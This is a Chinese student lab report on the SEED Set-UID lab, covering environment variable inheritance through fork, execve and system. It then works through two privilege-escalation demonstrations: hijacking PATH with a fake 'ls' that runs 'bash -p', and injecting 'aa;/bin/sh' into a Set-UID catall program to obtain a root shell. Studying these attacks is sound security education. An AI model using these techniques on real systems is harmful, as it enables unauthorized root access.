

# Set-UID实验

姓名：苏上峰  
2021/7/7

学号：57119104

报告日期：

## 实验一：

Shell中输入printenv打印环境变量

```
[03/15/21]seed@VM:~$ printenv
XDG_VTNR=7
XDG_SESSION_ID=c1
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/seed
CLUTTER_IM_MODULE=xim
SESSION=ubuntu
ANDROID_HOME=/home/seed/android/android-sdk-linux
GPG_AGENT_INFO=/home/seed/.gnupg/S.gpg-agent:0:1
TERM=xterm-256color
VTE_VERSION=4205
XDG_MENU_PREFIX=gnome-
SHELL=/bin/bash
DERBY_HOME=/usr/lib/jvm/java-8-oracle/db
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
LD_PRELOAD=/home/seed/lib/boost/libboost_program_options.so.1.64.0:/home/seed/lib/boost/libboost_filesystem.so.1.64.0:/home/seed/lib/boost/libboost_system.so.1.64.0
WINDOWID=58720266
UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1394
GNOME_KEYRING_CONTROL=
GTK_MODULES=gail:atk-bridge:unity-gtk-module
USER=seed
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33:ol=cd=40;33:or=40;31:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lzh=01;31:*.lzm=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
QT_ACCESSIBILITY=1
LD_LIBRARY_PATH=/home/seed/source/boost_1_64_0/stage/lib:/home/seed/source/boost_1_64_0/stage/lib:
XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
```

## 实验二：

实验目的：探究fork（）创建的子进程环境变量是否和父进程一致

实验操作：

一.下载并使用vim， gcc编译c程序

- (1) 输入命令：sudo apt-get install vim安装vim
- (2) 输入命令：sudo apt-get install gcc 安装gcc编译器
- (3) 使用mkdir命令在home目录下创建workspace/les1,使用cd命令切换到les1目录下，并使用touch创建文件a.c
- (4) vi a.c打开a.c文件输入c程序代码段，保存退出

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
void printenv()//该函数用于输出当前进程的环境变量
{
    int i = 0;
    while (environ[i] != NULL) { //循环输出环境变量数组中的环境变量值
```

```

printf("%s\n", environ[i]);
i++;
}
}
void main()
{
pid_t childPid;
switch(childPid = fork()) { //对childPid进行筛选
case 0: //打印子进程环境变量
printenv(); ①
exit(0);
default: //打印父进程环境变量
//printenv(); ②
exit(0);
}
}

```

(5) 输入cc a.c编译a.c文件并在当前目录下生成可执行文件a.out, 可使用ls命令查看

## 二.执行并将输出重定向到les1目录下新建的文件child中, 观察子进程的环境变量

(1) 在当前目录下创建新文件touch child

(2) 输入命令 ./a.out > child实现输出重定向

三.将源代码中子进程部分的printenv () 函数注释掉, 并将父进程部分中printenv () 函数注释去掉, 按②中同样方法将输出重定向到les1目录下新建的文件parent中, 使用diff命令比较两者的区别

**实验结果: diff命令输出为空, 说明父进程和子进程环境变量没有差别**

```

root@VM:/home/workspace/les1# diff child parent
root@VM:/home/workspace/les1#

```

**实验结果说明: 子进程可以继承父进程的环境变量**

## 实验三

**实验操作:**

### 一.运行以下程序

```

#include <stdio.h>
#include <stdlib.h>
extern char **environ;
int main()
{
char *argv[2];
argv[0] = "/usr/bin/env"; //程序名参数
argv[1] = NULL; //命令行参数数组最后一位必须以空指针结尾
execve("/usr/bin/env", argv, NULL); //第三位传入进程的环境变量为NULL

```

## 二.将上面程序①部分改成

```
execve("/usr/bin/env", argv, environ);
```

并观察输出结果的变化

### 实验结果：

第一次无输出

第二次输出大量环境变量（截图不全）

```
root@VM:/home/workspace/les1# ./a.out
XDG_VTNR=7
XDG_SESSION_ID=c1
CLUTTER_IM_MODULE=xim
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/seed
SESSION=ubuntu
GPG_AGENT_INFO=/home/seed/.gnupg/S.gpg-agent:0:1
ANDROID_HOME=/home/seed/android/android-sdk-linux
SHELL=/bin/bash
XDG_MENU_PREFIX=gnome-
VTE_VERSION=4205
TERM=xterm-256color
DERBY_HOME=/usr/lib/jvm/java-8-oracle/db
QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1
LD_PRELOAD=/home/seed/lib/boost/libboost_program_options.so.1.64.0:/home/seed/lib/boost/libboost_filesystem.so.1.64.0:/home/seed/lib/boost/libboost_system.so.1.64.0
```

**实验结论：新程序通过execve函数传递的参数来确定环境变量**

## 实验四：

### 实验操作：

运行以下代码段：

```
#include <stdio.h>
#include <stdlib.h>
int main()
{
    system("/usr/bin/env");
    return 0 ;
}
```

### 实验结果：

输出以下字符串：(节选)

```
LESSOPEN=| /usr/bin/lesspipe %s**
**GNOME_KEYRING_PID**
**MAIL=/var/mail/root**
**USER=root**
**LANGUAGE=en_US**
**J2SDKDIR=/usr/lib/jvm/java-8-oracle**
```

```

**XDG_SEAT=seat0**
**SESSION=ubuntu**
**XDG_SESSION_TYPE=x11**
**COMPIZ_CONFIG_PROFILE=ubuntu**
**LD_LIBRARY_PATH=/home/seed/source/boost_1_64_0/stage/lib:/home/seed/source/bo
ost_1_64_0/stage/lib:**
**SHLVL=2**
**LIBGL_ALWAYS_SOFTWARE=1**
**J2REDIR=/usr/lib/jvm/java-8-oracle/jre**
**OLDPWD=/**
**HOME=/root**

```

**实验结论：**当shell中使用命令system (“/usr/bin/env”)，程序打开shell并运行该命令，打开一个新的进程并将父进程的环境变量传递给子进程

## 实验五

### 实验操作

**Step1:** 创建程序a.c,并写入以下代码用于打印该程序对应进程的所有环境变量

```

#include <stdio.h>
#include <stdlib.h>
extern char **environ; //引入环境变量数组
void main()
{
    int i = 0;
    while (environ[i] != NULL) //该循环用于打印所有环境变量
    {
        printf("%s\n", environ[i]);
        i++;
    }
}

```

**Step 2:** 编译程序并将该程序改为set-UID程序

```

$ sudo chown root a.out #将程序所有者改为root用户
$ sudo chmod 4755 a.out #将程序set-UID比特位设为1，并将所有者权限改为可读可写可执行

```

**step3:**分别执行以下三句代码，观察shell进程的shell变量（为程序环境变量的副本），找出其中PATH，LD\_LIBRARY\_PATH，并利用export添加新的shell变量MY\_NEW\_ENV

```

$ env | grep PATH #显示所有环境变量并过滤值为PATH的
$ export MY_NEW_ENV=/home/my_new_path #引入新的shell变量并将其指向home目录下新建的目录my_new_path

```

```

[03/22/21]seed@VM:/home$ env | grep PATH
LD_LIBRARY_PATH=/home/seed/source/boost_1_64_0/stage/lib:/home/seed/source/boost_1_64_0/stage/lib:
XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0
XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0
DEFAULTS_PATH=/usr/share/gconf/ubuntu.defaults.path
PATH=/home/seed/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/lib/jvm/java-8-oracle/bin:/usr/lib/jvm/java-8-oracle/db/bin:/usr/lib/jvm/java-8-oracle/jre/bin:/home/seed/android/android-sdk-linux/tools:/home/seed/android/android-sdk-linux/platform-tools:/home/seed/android/android-ndk/android-ndk-r8d:/home/seed/.local/bin
MANDATORY_PATH=/usr/share/gconf/ubuntu.mandatory.path

```

```
[03/22/21]seed@VM:/home$ export MY_NEW_ENV=/home/my_new_path
```

**step4:** 运行set-UID程序，打印出子进程的shell变量，观察其中是否有PATH，LD\_LIBRARY\_PATH，MY\_NEW\_ENV三个shell变量

```
$ ./a.out | grep PATH #运行a.out程序显示所有环境变量，并过滤值为PATH的  
$ ./a.out | grep MY_NEW_ENV #运行a.out程序显示所有环境变量，并过滤值为PATH的
```

如下图所示，MY\_NEW\_ENV环境变量被打印出来，且值为之前设定的值

```
[03/22/21]seed@VM:/home$ ./a.out | grep MY_NEW_ENV  
MY_NEW_ENV=/home/my_new_path
```

如下图，PATH被打印而LD\_LIBRARY\_PATH没有被打印出来

```
[03/22/21]seed@VM:/home$ ./a.out | grep PATH  
XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0  
XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0  
DEFAULTS_PATH=/usr/share/gconf/ubuntu.default.path  
PATH=/home/seed/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  
:/usr/games:/usr/local/games:./snap/bin:/usr/lib/jvm/java-8-oracle/bin:/usr/lib  
/jvm/java-8-oracle/db/bin:/usr/lib/jvm/java-8-oracle/jre/bin:/home/seed/android/  
android-sdk-linux/tools:/home/seed/android/android-sdk-linux/platform-tools:/hom  
e/seed/android/android-ndk/android-ndk-r8d:/home/seed/.local/bin  
MANDATORY_PATH=/usr/share/gconf/ubuntu.mandatory.path
```

**实验结论：**子进程继承父进程的shell变量，包括父进程中从系统环境变量复制而来的shell变量，以及export声明过的，用户自己添加的shell变量

## 实验六

### 实验操作

**step1:** 创建c程序a.c，其代码如下：

```
#include<stdlib.h>  
int main()  
{  
    system("ls");//系统调用ls  
    return 0;  
}
```

编译运行并将其可执行文件改为set-UID程序

**step2:**创建与系统命令ls同名的恶意程序ls.c，其代码如下：

```
#include<stdlib.h>  
int main()  
{  
    system("/bin/bash -p");//打开bash并获取  
    return 0;  
}
```

编译运行

**step3:** 运行以下语句，改变环境变量PATH

```
$export PATH=.:&PATH #改变环境变量PATH，将代表当前目录的点号.加在PATH变量的最前面
```

**step4:** 运行vul程序，观察结果

## 实验结果

观察到如下结果

```
[03/22/21]seed@VM:/home$ ./a.out #执行程序a.out
bash-4.3# gcc -o vul vul.c
bash-4.3# ll #进入bash
bash: ll: command not found
bash-4.3# id #输入指令id查看当前有效用户
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
bash-4.3#
```

程序在运行代码a.out之后，遇到语句system ("ls")，不是按原定的去bin目录下寻找系统调用ls，而是根据环境变量优先在当前目录下寻找名为ls的程序，使得用户自己写的恶意程序ls被调用，并获取到有root权限的bash

## 实验结论

程序执行system (command) 命令时，先打开shell，将对应的命令输入该shell运行，shell程序自动根据PATH环境变量寻找command的路径，这个过程可能被攻击者利用于执行其植入的恶意程序

## 实验八

### 实验操作

**step1:** 编写catall.c程序如下，编译并将其可执行文件catall改为set-UID程序

```
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
    char *v[3];
    char *command;//指向命令
    if(argc < 2) {
        printf("Please type a file name.\n");
        return 1;
    }//当用户输入错误（只输入一个命令而后面没有跟参数时），提示用户输入一个文件的名字
    v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;//在用户输入中，v【0】指向需要调用的命令
    cat的目录字符串，v【1】指向用户输入的参数（文件名）的字符串，v【2】为空标志v数组的结束
    command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
    sprintf(command, "%s %s", v[0], v[1]);//产生对应的command命令
    // Use only one of the followings.
    system(command);//打开shell子进程，执行command对应的命令
    // execve(v[0], v, NULL);
    return 0 ;
}
```

**step2:** 执行catall文件，并输入设定的参数

```
$ ./catall "aa;/bin/sh"
```

得到结果如下:

```
[03/22/21]seed@VM:/home$ sudo ln -sf /bin/zsh /bin/sh → 必须改为zsh, 否则会触发ubuntu16.04的保护机制, 得到普通的bash
[03/22/21]seed@VM:/home$ ./catall "aa;/bin/sh"
/bin/cat: aa: No such file or directory
# id 进程有效用户id为root用户
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

得到带有root权限的bash, 攻击成功

**step3:** 将代码中system部分注释掉, 取消对execve的注释, 观察结果

```
[03/22/21]seed@VM:/home$ sudo vim catall.c
[03/22/21]seed@VM:/home$ sudo gcc -o catall catall.c #重新编辑编译catall.c
catall.c: In function 'main':
catall.c:17:1: warning: implicit declaration of function 'execve' [-Wimplicit-function-declaration]
  execve(v[0], v, NULL);
  ^
[03/22/21]seed@VM:/home$ ./catall "aa;/bin/sh" #发动攻击
/bin/cat: 'aa;/bin/sh': No such file or directory #攻击失败
```

提示找不到该文件或目录, 攻击失败

## 实验结论

system () 和execve () 都可以在c程序中执行命令, 但是system相当于在set-UID程序中使用了shell, 而shell中命令可以用分号隔开, 这就导致本来应该作为数据的文件名的后部分被当做指令执行, 执行了攻击者想要shell程序执行的操作; 而execve直接向操作系统请求执行指定的指令, 将整个输入作为一个参数。所以execve () 比system () 要安全。